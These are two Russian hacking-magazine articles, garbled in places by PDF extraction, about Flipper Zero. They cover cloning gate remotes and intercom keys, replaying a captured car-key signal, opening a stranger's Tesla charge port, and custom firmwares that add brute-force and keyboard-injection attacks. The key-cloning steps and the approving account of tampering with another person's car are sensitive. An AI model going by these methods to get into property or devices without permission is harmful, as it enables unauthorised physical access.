тебе понять, сто ит ли сроч но обза водить ся
«Флип пером».

на «Кик стар тере»

пе рипе тиями про изводс тва
слож ности

Уже боль ше года прош ло с тех пор, как пер вые бэкеры получи ли свои девай- 
сы, но шумиха вок руг Flipper Zero толь ко уси лива ется. Мил лионы прос мотров
видео скрипт-кид ди в «Тик токе» и обзо ры в извес тных бло гах, таких как 

, новос ти об  и  пар тий «Флип пера», да еще
и  на про дажу на Amazon и eBay толь ко подог рева ют инте рес к устрой- 
ству. В рек ламе ком понен тов СКУД-сис тем уже пишут «Flipper Zero не сра- 
бота ет!». Спрос на «Флип пер» нас толь ко боль шой, что о дро пах новых пар тий
объ явля ют заранее, а раз лета ются они мгно вен но. При этом не дрем лют
и ска меры, которые пыта ются зарабо тать на ажи ота же.

Linus
Tech Tips унич тожении кон фиска ции

зап рет

При этом ново испе чен ные обла дате ли устрой ства, которые повелись на хайп,
раз за разом спра шива ют : «А что с ним делать?»
Ответ чаще все го: «Играть в змей ку и откры вать люч ки заряд ки у Tesla».

на саб редди те «Флип пера»

Да вай вмес те прой дем ся по дос тупным в завод ской про шив ке воз- 
можнос тям «Флип пера» и поп робу ем понять, какие потен циаль ные при мене- 
ния ему най дут ся в жиз ни гика.

Итак, пос ле рас паков ки Flipper быс тро вклю чает ся и сра зу же готов
к работе. Единс твен ное, что пот ребова лось, — это флеш ка microSD
и обновле ние про шив ки.

SUB-GHZ

Нач нем с самой инте рес ной, на мой взгляд, фун кции. Flipper уме ет при- 
нимать, записы вать и вос про изво дить ради осиг налы в опре делен ных диапа- 
зонах на час тотах до 1 ГГц. Но с базовой про шив кой — в раз решен ных пре- 
делах в зависи мос ти от реги она. Для моей стра ны эти диапа зоны те же, что
и для Рос сии: 433,05–434,79 МГц, 868,15–868,55 МГц, 915 МГц, 925 МГц.

Су дя по моему неболь шому опы ту и бег лому поис ку по мар кет плей сам,
боль шинс тво шлаг баумов в нашем реги оне работа ет на час тоте 433,92 МГц
и исполь зует ста тичес кий код. Это зна чит, что сиг нал пуль та от такого шлаг- 
баума лег ко при нять и сох ранить в «Флип пер» для даль нейше го при мене ния.

Ко неч но, это не отно сит ся к плат ным под земным пар ковкам, час тным
домам и дру гим мес там в таком духе. Там обыч но сто ят более прод винутые
СКУД. Но коды шлаг баумов в зак рытых дво рах мно гок вартир ных домов,
на неболь ших час тных пар ковках и офис ных сто янках отлично копиру ются.

Øëàãáàóì íà ïàðêîâêå
В моем доме для въез да на тер риторию исполь зует ся имен но такой шлаг- 
баум с недоро гим пуль том. Копиро вание сиг налов всех трех его кно пок
занима ет в общей слож ности мень ше минуты, а записан ный на «Флип пер»
сиг нал отлично работа ет — не хуже, чем ког да исполь зуешь пульт.

Для записи нуж но все го лишь выб рать в раз деле Sub-GHz пункт Read
и уста новить цен траль ную час тоту, которая обыч но ука зана на пуль те. Пос ле
нажатия по оче реди всех кно пок «Флип пер» их опре делит и демоду лиру ет
сиг налы, а нам оста нет ся толь ко сох ранить их под каким-то име нем.

Сле дующей жер твой я наметил пульт от ворот под земной пар ковки.
На него надеж ды было мало, потому что, в отли чие от пуль та шлаг баума,
за него мне приш лось отва лить залог, экви вален тный 3,5 тысячи руб лей, а на
мес тном ради орын ке наот рез отка зались его копиро вать, пов торяя «Rolling
code, rolling code».

Од нако на тех же самых нас трой ках «Флип пер» безоши боч но опре делил
источник сиг нала как Marantec, что сов пало с над писью на самом пуль те. Обе
кноп ки успешно записа лись и отлично фун кци они руют. Даже даль ность
работы пуль тов и «Флип пера» ничем не отли чает ся.

Ито го: минус два лиш них бре лока, сэконом ленные день ги и плю сик
«Флип перу».

Ко пиру ем пуль ты

Кста ти, по поводу даль нос ти счи тыва ния сиг нала. Я про вел неболь шой экспе- 
римент, в резуль тате которо го опре делил, что записать сиг нал с таких бес- 
про вод ных пуль тов мож но с рас сто яния око ло 20 м в пря мой видимос ти.
Прав да, зона уве рен ного при ема (запись сиг нала пос ле корот кого нажатия
кноп ки) ока залась чуть мень ше — поряд ка 15–18 м в зависи мос ти от пуль та.
Впро чем, это рас сто яние мож но уве личить, если исполь зовать допол нитель- 
ный ВЧ-модуль с внеш ней антенной.

Ос новной вывод: при исполь зовании прос тень ких незащи щен ных пуль тов
всег да есть веро ятность, что потен циаль ный зло умыш ленник перех ватит сиг- 
нал.

Àâòîìîáèëü
Во оду шев ленный этим успе хом, я решил перей ти к бре локу от машины. Тут
уже, конеч но, код не ста тичес кий, а динами чес кий, то есть тот самый rolling
code.

Rolling code (сколь зящий, или динами чес кий, код) — тех нология, которую
при меня ют в ради очас тотном дис танци онном управле нии, что бы защитить ся
от копиро вания клю ча. Прин цип ее работы очень прос той: при каж дом
исполь зовании код меня ется, при чем каж дый код, отправ ленный передат- 
чиком и при нятый при емни ком, счи тает ся исполь зован ным и может быть при- 
нят толь ко один раз.

Тех нология надеж ная, но даже из опи сания мож но понять, что у нее есть
один изъ ян — исполь зован ным счи тает ся толь ко при нятый при емни ком код.

То есть пол ностью ско пиро вать бре лок от сов ремен ного авто моби ля
не получит ся, но один раз сня тый «Флип пером» сиг нал сра бота ет. В отли чие
от слу чая с пуль том от пар ковки, пол ностью демоду лиро вать сиг нал не вый- 
дет, и мы запишем его в фор мате RAW, выб рав в меню соот ветс тву ющий
пункт.

При попыт ке исполь зовать пре дыду щий код пос- 
ле того, как был исполь зован сле дующий, при- 
емный блок в авто моби ле перево дит ся в режим
бло киров ки. Вывес ти его из это го режима у меня
получи лось, толь ко ски нув клем му акку муля тора.
До это го авто мобиль никак не реаги ровал
на нажатия кно пок на клю че, поэто му открыть
или зак рыть машину мож но было толь ко физичес- 
ким клю чом авто моби ля. А во мно гих авто моби- 
лях замоч ная сква жина спря тана за заг лушкой
руч ки откры вания две ри, о чем вла дель цы час то
даже не подоз рева ют. Если не хочешь ока зать ся
в такой ситу ации, луч ше воз держись от экспе- 
римен тов с авто моби лем.

В ито ге у меня получи лось один раз открыть цен траль ный замок, записав код
откры тия в режиме RAW, и вос про извести сиг нал откры тия рядом с авто моби- 
лем. Обра ти вни мание: нуж но, что бы ключ находил ся далеко от авто моби ля,
ина че сиг нал будет при нят машиной.

Вы вод: никог да не оставляй свой ключ без прис мотра, а в машине не хра- 
ни цен ные вещи. Зло умыш ленник может незамет но записать сиг нал откры тия
с клю ча и открыть две ри авто моби ля, пока тебя не будет. Для это го дос таточ-
но такого прос того устрой ства, как «Флип пер», но сущес тву ют и более мощ- 
ные спе циали зиро ван ные девай сы.

Õàêàåì «Òåñëó»
По пуляр ное раз вле чение вла дель цев «Флип пера» в Евро пе и Аме рике —
дис танци онное откры тие люч ков заряд ки в «Тес лах». В Рос сии веро ятность
встре тить «Тес лу» не так велика. А вот там, где я живу, они попада ются нам- 
ного чаще. Лючок одной из них (исклю читель но в обра зова тель ных целях) я
тор жес твен но открыл к боль шому удив лению сидев шего в ней вла дель ца.
Конеч но же, делал я это в суперу доб ном стелс-режиме Screen Streaming
из при ложе ния для iPhone, что бы не стол кнуть ся с недопо нима нием хозя ина
машины.

Рай флип перово да, по мне нию поль зовате лей Reddit

Что бы про вер нуть этот трюк, нуж но ска чать с GitHub четыре фай ла, соот ветс- 
тву ющие двум вари ациям сиг налов — для машин евро пей ско го и аме рикан- 
ско го рын ков. Пос коль ку час тоты «Флип пера» в стан дар тной про шив ке
залоче ны с уче том реги она, сиг нал для аме рикан ской «Тес лы» мне вос про- 
извести не уда лось, а при попыт ке это сде лать «Флип пер» выдавал гроз ную
кар тинку. Видимо, нес коль ко дру гих попав шихся мне машин, которые мне
не уда лось хак нуть, были как раз аме рикан ски ми.

Дель фин гро зит плав ником (?)

RFID

По жалуй, самое прос тое и полез ное при мене ние «Флип пера» — это сох- 
ранение клю чей домофо на.

Очень удоб но хра нить клю чи от всех домов, где ты быва ешь, и боль ше
никог да не испы тывать нелов кость, стоя перед зак рытой дверью и слу шая
писк динами ка.

Все попадав шиеся мне клю чи работа ли по про токо лу EM4100. Счи тыва ние
занима ет бук валь но пару секунд, как и эму ляция клю ча. Тут глав ное —
не поленить ся и при сох ранении клю ча изме нить наз вание со слу чай ного
дефол тно го на осмыслен ное, которое поможет однознач но иден тифици- 
ровать мет ку.

Ин терес но, что про токол нас толь ко не защищен, что эму лиро вать ключ
мож но бук валь но по фотог рафии. По про токо лу E4100 зна чимые дан ные
содер жатся в пяти бай тах. Если на клю че есть пос ледова тель ность цифр типа
«049, 43317», то для вво да клю ча в руч ном режиме необ ходимо перевес ти эти
два чис ла в Hex. Дол жно получить ся . Перед эти ми четырь мя
бай тами добав ляем код вер сии (нуж но будет подоб рать) и вво дим вруч ную:

. Этим кодом мож но поль зовать ся для эму ляции так же, как и

любым счи тан ным по ради ока налу.

00 31, A9 35

00 00 31 A9 35

Дрес сирован ный дель фин откры вает две ри силой мыс ли

Клю чи EM-Micro EM4100 быва ют непере запи сыва емые (в основном мар- 
кирован ные, их заносят в память домофо на) и переза писы ваемые. Пос- 
ледние нам и пот ребу ются для соз дания копий клю чей. Для этой цели я
заказал на одном из мар кет плей сов пучок из десяти бол ванок за 300 с чем-то
руб лей. Важ но: заказы вать нуж но клю чи Т5577. Имен но они под держи вают
переза пись и отлично работа ют.

Ус пешно про шива ем бол ванки Т5577 (в зеленом кор пусе вид ны внут -
реннос ти клю ча — чип и антенна)

NFC

В 2020 году, ког да я решил под держать «Флип пер» на «Кик стар тере», я воз- 
лагал боль шие надеж ды на NFC. В Рос сии у меня очень мно гое работа ло
имен но на этой тех нологии — шлаг баум в гараж ном коопе рати ве, офис ный
про пуск, домофон, брас лет в фит нес-клу бе. А вот пос ле пере езда, к моему
боль шому сожале нию, я не смог най ти для этой фун кции ни одно го полез ного
при мене ния. Все, что мне уда лось сде лать, — нем ного поэк спе римен- 
тировать.

Пер вое, что приш ло в голову, — счи тать UID со сво их бан ков ских карт,
но исполь зовать копии для опла ты все рав но не получит ся, меша ет защита.
Так же я поп робовал счи тать информа цию с чипа сво его рос сий ско го заг-
ранпас порта, но смар тфон с этой фун кци ей справ ляет ся луч ше, потому что
информа ция на чипе запаро лена и откры вает ся толь ко пос ле счи тыва ния
и рас позна вания машино чита емой зоны.

Пос ледним экспе римен том было счи тыва ние кар ты «Трой ка», которую я
нашел в ста рых вещах. К моему удив лению, «Флип пер» не толь ко счи тал кар- 
ту, но и показал баланс в пять руб лей. К сожале нию, даль ше экспе римен- 
тировать с тран спортны ми кар тами я не могу, потому что у нас мет ро до сих
пор работа ет по жетонам, а назем ный тран спорт вооб ще опла чива ется толь- 
ко налич ными.

Пять руб лей

В целом у меня сло жилось такое впе чат ление, что с NFC уже более-менее
осво ились смар тфо ны и допол нитель ное устрой ство здесь ничего нового
не даст.

IR

От личная фун кция «Флип пера», которой я так же пос тоян но поль зуюсь, —
это ИК-пульт.

Ес ли судить по «Тик току», основное при мене ние этой фун кции — вык- 
лючение телеви зоров и вся ких рек ламных щитов в тор говых цен трах. В этом я
никако го смыс ла не вижу, в отли чие от замеча тель ной воз можнос ти поуп- 
равлять бытовой тех никой. Тут и эле мен тарное исполь зование в качес тве
запас ного пуль та от телеви зора, ресиве ра, ТВ-прис тавки (увы, не слиш ком
удоб но из-за осо бен ностей управле ния «Флип пером») и про екто ра.

Кста ти, это огромная дыра в безопас ности мероп риятий. Я не раз выс- 
тупал в боль ших залах с про екто ром, под вешен ным под потол ком и управля- 
емым толь ко с ИК-пуль та. Не хотелось бы во вре мя выс тупле ния нар вать ся
на шут ника с «Флип пером»!

Ес ли ты ког да-нибудь работал в офи се, навер няка стал кивал ся с проб- 
лемой пуль та от кон дици оне ра. Пульт обыч но один на весь офис и либо лежит
у ответс твен ного за его обо рону сот рудни ка, либо пос тоян но теря ется.
К счастью, «Флип пер» поз воля ет решить этот воп рос раз и нав сегда, при чем
уни вер саль ный пульт от кон дици оне ра уже вхо дит в дефол тную про шив ку.

Бег лый ресерч показал, что с кон дици оне рами все нес коль ко слож нее,
чем, нап ример, с телеви зора ми. Их пуль ты переда ют сра зу все парамет ры
при нажатии любой кноп ки, а некото рые еще получа ют обратную связь. Одна- 
ко это совер шенно не меша ет управлять кон дици оне ром с «Флип пера», хоть
и в нем ного неш татном режиме.

Ес ли сиг налов тво его кон дици оне ра не было в уни вер саль ном при ложе- 
нии, то можешь, как и я, записать сиг нал с пуль та. Как вари ант, такие записи
мож но най ти и ска чать. По моему опы ту, оба спо соба отлично работа ют: файл
для телеви зора я ска чал, а пульт от кон дици оне ра мало извес тной мар ки
приш лось копиро вать.

IBUTTON

Са мый пер вый раз я попытал ся вос поль зовать ся «Флип пером» пря мо
по дороге с поч ты, на которой его заб рал, — что бы ско пиро вать ключ
домофо на. В моем домофо не исполь зует ся кон так тная таб летка iButton
(работа ет по про токо лу 1-Wire) про изводс тва Dallas Semiconductor. Ключ ско- 
пиро вал ся момен таль но, но, к моему огромно му сожале нию, как я ни тыкал
«Флип пером» в домофон, дверь так и не откры лась.

По нача лу я гре шил на конс трук цию кор пуса и раз мещение пого-пинов
(под пру жинен ных кон тактов). Что бы про верить эту вер сию, я под клю чил ся
к домофо ну про вода ми, бла го кон такты iButton про дуб лирова ны в вер хней
час ти «Флип пера» (GPIO 8 и 17).

Про веря ем кон такт

На этот раз домофон сра зу открыл ся. Ока залось, что такая проб лема час то
воз ника ет у новых поль зовате лей. Что бы с пер вого раза откры вать такие
домофо ны, тре бует ся вырабо тать некото рый скилл одновре мен ного попада- 
ния пого-пинами по обо им кон тактам.

Мож но не толь ко эму лиро вать ключ, но и вос поль зовать ся фун кци ей
копиро вания. Я купил себе одну пус тую бол ванку в бли жай шей палат ке, где
изго тав лива ют клю чи. Flipper отлично спра вил ся с копиро вани ем на нее всех
попадав шихся мне клю чей.

В общем, в ито ге минус еще один ключ и потен циаль ная воз можность
накопи ровать клю чи всем жела ющим. Бол ванки для таких клю чей тоже лег ко
най ти на мар кет плей сах — ищи по клю чево му сло ву rw1990. Сто ят они при- 
мер но столь ко же, сколь ко и RFID-клю чи.

U2F

U2F (Universal 2nd Factor) — откры тый без драй вер ный про токол для двух- 
фактор ной аутен тифика ции. U2F-устрой ство мож но исполь зовать как вто рой
фак тор, нап ример для аутен тифика ции в онлай новых сер висах.

Как толь ко я обна ружил, что «Флип пер» может слу жить U2F-клю чом/
токеном, сра зу же решил нас тро ить его для двух фактор ной аутен тифика ции
одно го из сво их поч товых ящи ков. Я уже дав но хотел сде лать что-то такое,
но отпу гива ла необ ходимость покупать и носить с собой лиш нюю флеш ку.

Ре гис тра ция «Флип пера» в качес тве токена на «Маке» прош ла без проб- 
лем и с пер вого же раза. Глав ное — не забывать перек лючать в бра узе ре
двух фактор ную аутен тифика цию со стан дар тной на физичес кий ключ.

Те перь при новом вхо де в веб-интерфейс поч ты пос ле вво да логина
и пароля появ ляет ся зап рос на двух фактор ную аутен тифика цию. В спо собе
вхо да выбира ем «Ключ безопас ности». Для успешно го логина нуж но под клю- 
чить «Флип пер» к компь юте ру по USB, выб рать в меню пункт U2F и под твер- 
дить логин нажати ем сред ней кноп ки на «Флип пере».

Так у меня появи лась еще одна при чина всег да иметь при себе «Флип- 
пер».

BLUETOOTH

«Флип пер» исполь зует Bluetooth LE для под клю чения к смар тфо ну, но этот же
интерфейс мож но исполь зовать и в более инте рес ных целях. Нап ример, под- 
клю чать как кон трол лер для компь юте ров и телефо нов.

«Флип пер» может работать как мыш ка или кла виату ра. Не слиш ком удоб- 
но, но в некото рых слу чаях при годит ся. Нап ример, мож но исполь зовать его
как кли кер для пре зен таций. Для это го в его при ложе нии есть пункт Keynote.

Я нахожу эту фун кцию край не полез ной: у «Флип пера» удоб ные фор ма
и раз меры, он всег да с собой, да и прос то кру то выс тупать в руках с «Флип- 
пером». Пуб лике нра вит ся!

Что каса ется управле ния смар тфо ном, то и тут у меня нашел ся отличный
юзкейс. При съем ке фото или видео со шта тива я обыч но исполь зовал копе- 
ечный китай ский пуль тик, который пос ле под клю чения по Bluetooth выпол нял
единс твен ное дей ствие — ими тиро вал нажатие физичес кой кноп ки гром- 
кости, которая на iPhone при вяза на к спус ку зат вора.

«Флип пер» с этой задачей отлично справ ляет ся, но, если поп робовать
сде лать то же самое из некото рых при ложе ний (нап ример, попытать ся
записать reel в Instagram), запись не нач нется. Что бы решить эту проб лему,
мож но вклю чить на iPhone фун кцию AssistiveTouch и, исполь зуя «Флип пер»
в режиме мыш ки, нажимать кноп ку записи (или любую дру гую кноп ку на экра- 
не).

Так же «Флип пер» отлично работа ет в качес тве пуль та — нап ример ког да
стри мишь музыку с ноут бука на бес про вод ную колон ку.

ÂÛÂÎÄÛ

Пи сать про «Флип пер» — это при мер но как писать про смар тфон или компь- 
ютер. Это пол ноцен ная откры тая прог рам мно-аппа рат ная плат форма со сво- 
ими осо бен ностя ми, опе раци онной сис темой и про чим. У нее мас са воз- 
можнос тей и при мене ний, для каж дого поль зовате ля набор любимых фич
будет дру гим.

Я всег да ношу с собой «Флип пер» и исполь зую его каж дый день. Он изба- 
вил меня от необ ходимос ти иметь при себе гро моз дкие пуль ты и лиш ние
клю чи. Час то исполь зую его как ИК-пульт для телеви зора, кон дици оне ра
и про екто ра, как Bluetooth-пульт или кли кер для компь юте ра и телефо на и как
ключ U2F.

Так что, даже если ты ничего не мас теришь и не взла мыва ешь, «Флип пер»
впол не может при годить ся в обыч ной жиз ни. Если же ты увле каешь ся схе- 
мотех никой и про чим DIY или тебе нужен уни вер саль ный и ком пак тный инс- 
тру мент для физичес ких пен тестов, то ты, ско рее все го, оце нишь «Флип пер»
еще выше.

Кас томные про шив ки со сня тым огра ниче нием на час тоты и фун кци ями
брут форса дела ют «Флип пер» гораз до более серь езным девай сом, а допол- 
нитель ные аппа рат ные модули (нап ример, внеш ние адап теры Wi-Fi) и сто рон- 
ние прог раммы и пла гины зна читель но рас ширя ют воз можнос ти.

Не мог я не оце нить и уси лия, которые раз работ чики при лага ют к под дер- 
жке про екта. Пос тоян но выходят обновле ния с новыми фун кци ями и зап латка- 
ми. К при меру, с пос ледним обновле нием (0.82.3) за счет фун кции глу боко го
сна дли тель ность работы батареи уве личи лась в четыре (!) раза.

Кста ти, даже на пред релиз ных вер сиях про шив ки «Флип пер» работа ет
ста биль но. За все вре мя исполь зования он успел завис нуть или вне зап но
ребут нуть ся все го нес коль ко раз.

Вок руг устрой ства уже сфор мирова лось активное меж дународ ное сооб- 
щес тво. С любым воп росом о работе с «Флип пером» мож но прий ти на 

 или  и най ти ответ, поп росить помощи или как
минимум обсу дить инте ресу ющую тему.

офи- 
циаль ный форум саб реддит

Глав ный же вывод для меня зак люча ется в том, что «Флип пер» — не прос- 
то хай повая игрушка для гиков и не толь ко отличное устрой ство для изу чения
бес про вод ных атак, но и очень полез ный в хозяй стве девайс, который
находит при мене ние в самых раз ных слу чаях.

mailto:AA88msg@protonmail.com
https://www.kickstarter.com/projects/flipper-devices/flipper-zero-tamagochi-for-hackers
https://habr.com/ru/companies/flipperdevices/articles/
https://xakep.ru/tag/flipper/
https://www.youtube.com/watch?v=nLIp4wd0oXs&ab_channel=LinusTechTips
https://xakep.ru/2022/12/15/flipper-zero-germany/
https://xakep.ru/2023/03/13/flipper-brazil/
https://xakep.ru/2023/04/07/flipper-amazon/
https://www.reddit.com/r/flipperzero/
https://forum.flipperzero.one/
https://www.reddit.com/r/flipperzero/
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Flipper Zero — «хакер ский муль титул», о котором ты уже
навер няка нас лышан. Воз можно, даже успел раз добыть
устрой ство и самос тоятель но пораз вле кать ся с ним. В этой
статье мы погово рим о про шив ках, которые не толь ко поз- 
волят вывес ти баловс тво на новый уро вень, но и помогут
исполь зовать Flipper при реаль ных физичес ких пен тестах.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Стан дар тная про шив ка очень силь но огра ничи вает потен циал Flipper Zero,
в том чис ле не дает перех ватывать и ана лизи ровать сиг налы опре делен ных
час тот (нап ример, сиг налы авто мобиль ной сиг нализа ции), не поз воля ет про- 
водить брут форс-ата ки на про токо лы, тре бующие переда чи опре делен ных
зна чений, а так же име ет мало записан ных встро енных сиг налов, при год ных
для атак на популяр ные сис темы.

Од нако архи тек тура устрой ства откры та, а зна чит, ты можешь пос тавить
свою про шив ку, что рас ширя ет горизон ты для экспе римен тов. С начала про- 
даж устрой ства появи лось мно жес тво про шивок, соз данных сто рон ними раз- 
работ чиками и сооб щес твом. У каж дой — свои клю чевые воз можнос ти и пре- 
иму щес тва. Давай пос мотрим на них поб лиже!

Чи тай дру гие пуб ликации «Хакера» о Flipper Zero:
« »
и «

».

Что я успел нат ворить за месяц с Flipper Zero
В гос тях у Дани. Павел Жов нер о проб лемах

раз работ ки, новом мар кет плей се и сле дующем
Flipper

FLIPPER ZERO FIRMWARE

 — это стан дар тная про шив ка, с которой Flipper Zero при- 
езжа ет к тебе с завода. В ней есть мно жес тво инс тру мен тов, одна ко
со встро енны ми огра ниче ниями, которые не поз воля ют пол ностью рас крыть
весь тех ничес кий потен циал девай са.

Flipper Zero Firmware

Стан дар тный глав ный экран

Про шив ка будет полез на тем, кто толь ко при обрел Flipper Zero и хочет озна- 
комить ся с его базовы ми воз можнос тями для минималь ного ежед невно го
исполь зования. Нап ример, можешь кло ниро вать в него все свои про пус ка
и пуль ты дис танци онно го управле ния, что бы не носить их каж дый день
с собой.

Про филь нашего дель фина

Вот четыре раз дела стан дар тной про шив ки, которые будут боль ше все го
отли чать ся в кас томных вер сиях.

 — этот раз дел поз воля ет выпол нять перех ват, запись и эму- 
ляцию ради осиг налов. В стан дар тной про шив ке этот инс тру мент огра- 
ничен в воз можнос тях. Нап ример, при попыт ке перех ватить ради осиг нал
авто мобиль ного клю ча Flipper опре делит этот сиг нал, но не даст записать
его в память и тем более пов торить. Это намерен ное огра ниче ние, ведь
в пло хих руках эта игрушка может стать опас ной.

• Sub-GHz

Инс тру мент перех вата ради очас тот — Sub-GHz

 — инфрак расный сиг нал. Поз воля ет повеле вать бытовой тех- 
никой. В стан дар тной про шив ке дает воз можность управлять четырь мя
типами тех ники: телеви зора ми, ауди опро игры вате лями, про екто рами
и кон дици оне рами.

• Infrared

 — поз воля ет эму лиро вать про вод ную кла виату ру при под клю- 

чении «Флип пера» к ПК. Содер жит два демос ценария, при запус ке
которых на под клю чен ном ПК откры вает ся блок нот и выводит ся лого
«Флип пера» в виде ASCII-арта.

• BadUSB

 — раз дел содер жит допол нитель ные инс тру мен ты,

не попав шие ни в один из пре дыду щих раз делов. Этот пункт в офи циаль- 
ной про шив ке инте ресен лишь одним — здесь мож но поиг рать в змей ку.

• Applications

Ин терфейс работы с iButton

UNLEASHED

 — пер вый форк офи циаль ной про шив ки, поз воля ющий снять реги- 
ональ ные огра ниче ния с Flipper Zero, а так же добавить новые инс тру мен ты.
В репози тории она пред став лена в двух видах: базовом и рас ширен ном, име- 
ющем огромное количес тво пре дус танов ленных при ложе ний.

Unleashed

Эк ран при ветс твия Unleashed

Unleashed отлично подой дет тем, кому мало базовых фун кций Flipper Zero.
К при меру, с помощью этой про шив ки ты можешь не толь ко перех ватывать,
записы вать и пов торять сиг налы, но и про изво дить брут форс-ата ки на сис- 
темы.

Здесь дос тупны инс тру мен ты, поз воля ющие в авто мати зиро ван ном
режиме переб рать все воз можные коды дос тупа для откры тия шлаг баума
и гаран тирован но его открыть без перех вата исходно го сиг нала (тог да
как офи циаль ная про шив ка дает лишь записать сущес тву ющий сиг нал и эму- 
лиро вать его в даль нейшем).

Так же в раз деле Sub-GHz сня ты все реги ональ ные огра ниче ния
на исполь зуемые час тоты сиг налов. А это зна чит, что с помощью Unleashed
мож но перех ватить и эму лиро вать абсо лют но любой сиг нал, дос тупный хар- 
двар ной час ти Flipper Zero.

Sub-GHz — добав лено отоб ражение све дений о текущем ска ниро вании

Кро ме про чего, в раз деле Applications этой про шив ки — мно жес тво при ложе- 
ний на все слу чаи жиз ни: от кон верте ра физичес ких величин и генера тора
штрих-кодов до сре ды раз работ ки на Brainfuck и демей ка Doom.

Кста ти, если тебе не нра вит ся имя «Флип пера», с которым он при ехал
с завода, то Unleashed, как и все дру гие неофи циаль ные про шив ки из этой
статьи, поможет решить эту проб лему.

Из менение име ни

В осталь ных раз делах тоже мно жес тво неболь ших изме нений. К при меру,
добав лена под дер жка клас сичес ких клю чей Mifare, фун кция зах вата и отправ- 
ки динами чес ких шиф рован ных про токо лов и сколь зящих кодов.

В общем, с про шив кой Unleashed твой «Флип пер» уже впол не потянет
на инс тру мент пен тесте ра. Пос тарай ся не зло упот реблять его воз можнос- 
тями и пом ни про незакон ность некото рых дей ствий!

XTREME

 — это, пожалуй, золотая середи на меж ду стан дар тной про шив кой
и фор ком RogueMaster. По сути, это пол ностью перера ботан ная офи циаль ная
про шив ка, но с фун кци ями, поза имс тво ван ными из RogueMaster, и нам ного
ста биль нее его.

Xtreme

Кас томный про филь нашего дель фина

Глав ное уни каль ное новов ведение — мак сималь ная кас томиза ция воз- 
можнос тей BadUSB/KB. Еще мож но добавить новые уров ни для нашего
«Флип пера» (пом нишь, что это еще и тамаго чи?), кор ректи ровать режимы
USB/BT для работы с BadUSB и управлять про токо лами Sub-GHz. Как и
Unleashed, про шив ка поз воля ет снять все реги ональ ные огра ниче ния, про- 
водить брут форс-ата ки и обла дает не толь ко все ми ее пре иму щес тва ми, но и
некото рыми новыми фун кци ями.

Воз можность пол ной кас томиза ции сос тояния дель фина

Фун кция BadKB поз воля ет эму лиро вать кла виату ру и таким обра зом про- 
водить HID-ата ки. Мож но взять за осно ву готовый скрипт, который выводит
при ветс твие «Флип пера» через блок нот на любой ОС: Windows, macOS, iOS,
Android и так далее. Под держи вает ся язык Ducky Script Language 1.0. Если
поищешь на GitHub, най дешь более 500 готовых пей лоадов на нем.

У BadKB есть два режима работы — клас сичес кий (по про воду)
и Bluetooth, вто рой мож но нас тро ить так, что бы «Флип пер» запоми нал
устрой ства. При пов торной ата ке он будет под клю чать ся к жер тве сам. Есть
воз можность изме нять рас клад ки кла виату ры и даже MAC-адрес BT-модуля
тво его кибер дель фина.

Нас трой ки BadKB

Инс тру мент Sub-GHz

Это про шив ка для прод винутых поль зовате лей, которые хорошо понима ют,
зачем им Flipper и зачем все эти новые фун кции. И конеч но, она хорошо
подой дет во вре мя физичес ких пен тестов и при ком плексном ред тимин ге.

ROGUEMASTER

 — форк про шив ки Unleashed, который во мно гом схож с ори- 
гина лом, но отли чает ся кас томным набором ани маций. Часть из них мож но
при обрести, опла тив под писку на Patreon авто ра RogueMaster.

RogueMaster

Глав ный экран про шив ки

Кас томный про филь дель фина

Но вые фун кции — те же, что в про шив ке Xtreme, раз ве что парамет ры
для BadUSB слег ка уре заны (нет нас тро ек Bluetooth, как у Xtreme). К тому же
про шив ка менее ста биль на, чем дру гие рас смот ренные нами. Боль ше все го
кра шей при наших тес тах было имен но с ней.

Од нако раз дел Application здесь — это прос то огромный спи сок ути лит.
Тут мож но най ти раз личные фаз зеры для iButton, брут форсер RFID и Sub-
GHz, режим CLI. Впро чем, с коман дной стро кой рекомен дую быть поак курат- 
нее — из десяти сде лан ных мной попыток три при вели к падению сис темы.

Инс тру мент перех вата ради очас тот Sub-GHz

Ин терфейс работы с iButton

В целом под дер жка при ложе ний в фор мате FAP ско ро дол жна появить ся
в основной про шив ке Flipper, так что RogueMaster оста нет ся ско рее для жела- 
ющих самос тоятель но поуп ражнять ся в дебаге и изу чении исходных кодов.
Или можешь пос тавить ее, если тебе очень-очень хочет ся изме нить «пас- 
порт» тво его Flipper Zero, сме нив не толь ко ава тар ку, но и зад ний фон.

Ñòàí- 

äàðò

Unlea

shed

Xtr

em

e

Rogue

Master

От клю чены реги ональ ные огра- 
ниче ния

– + + +

Нас трой ка интерфей са – – + +

До пол нитель ные модули - + + +

Ста биль ность работы + + + –

Ак туаль ность обновле ний – +/– + +

Doom – + + +

ÂÛÂÎÄÛ

Пос ле нес коль ких месяцев тес тирова ния и ежед невно го исполь зования
Flipper Zero с нес тандар тны ми про шив ками можем дать тебе некото рые
рекомен дации по выбору. В пер вую оче редь опре делись, как ты будешь
исполь зовать устрой ство, и если дей стви тель но пла ниру ешь про водить прод- 
винутые ата ки (в исклю читель но безобид ных целях или по кон трак ту на тес- 
тирова ние), то выбирай про шив ку с нуж ными воз можнос тями. Если такой
необ ходимос ти нет, то нет смыс ла сни жать ста биль ность работы устрой ства.

Са мый вер ный путь для начала зна комс тва с опци ональ ными воз можнос- 
тями Flipper Zero — пос тавить рас ширен ную вер сию Unleashed или офи циаль- 
ную про шив ку с акту аль ными для себя инс тру мен тами и модуля ми (которых
немало уже и в офи циаль ном репози тории Flipper Zero).

Ес ли увле каешь ся кас томиза цией, твой выбор — Xtreme или RogueMaster,
а если тебе важ ны ста биль ность и прод винутые воз можнос ти — Unleashed
или Xtreme. Мы оста нови ли свой выбор на этих двух наибо лее ста биль ных
и прак тичных сис темах. За все вре мя тес тирова ния и исполь зования они
не сбо или и не зависа ли, как это было с RogueMaster. Их фун кций более чем
дос таточ но, а воз можность менять нас трой ки про шив ки через меню
Xtreme — допол нитель ный плюс.

mailto:hanz0ctf@gmail.com
mailto:wolfreak449@gmail.com
https://xakep.ru/2023/06/02/flipper-zero-review/
https://xakep.ru/2023/07/12/flipper-interview/
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https://github.com/DarkFlippers/unleashed-firmware
https://github.com/ClaraCrazy/Flipper-Xtreme
https://github.com/RogueMaster/flipperzero-firmware-wPlugins
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Flipper Zero называ ют хакер ским муль- 
титулом, а хакеры — это люди, которые
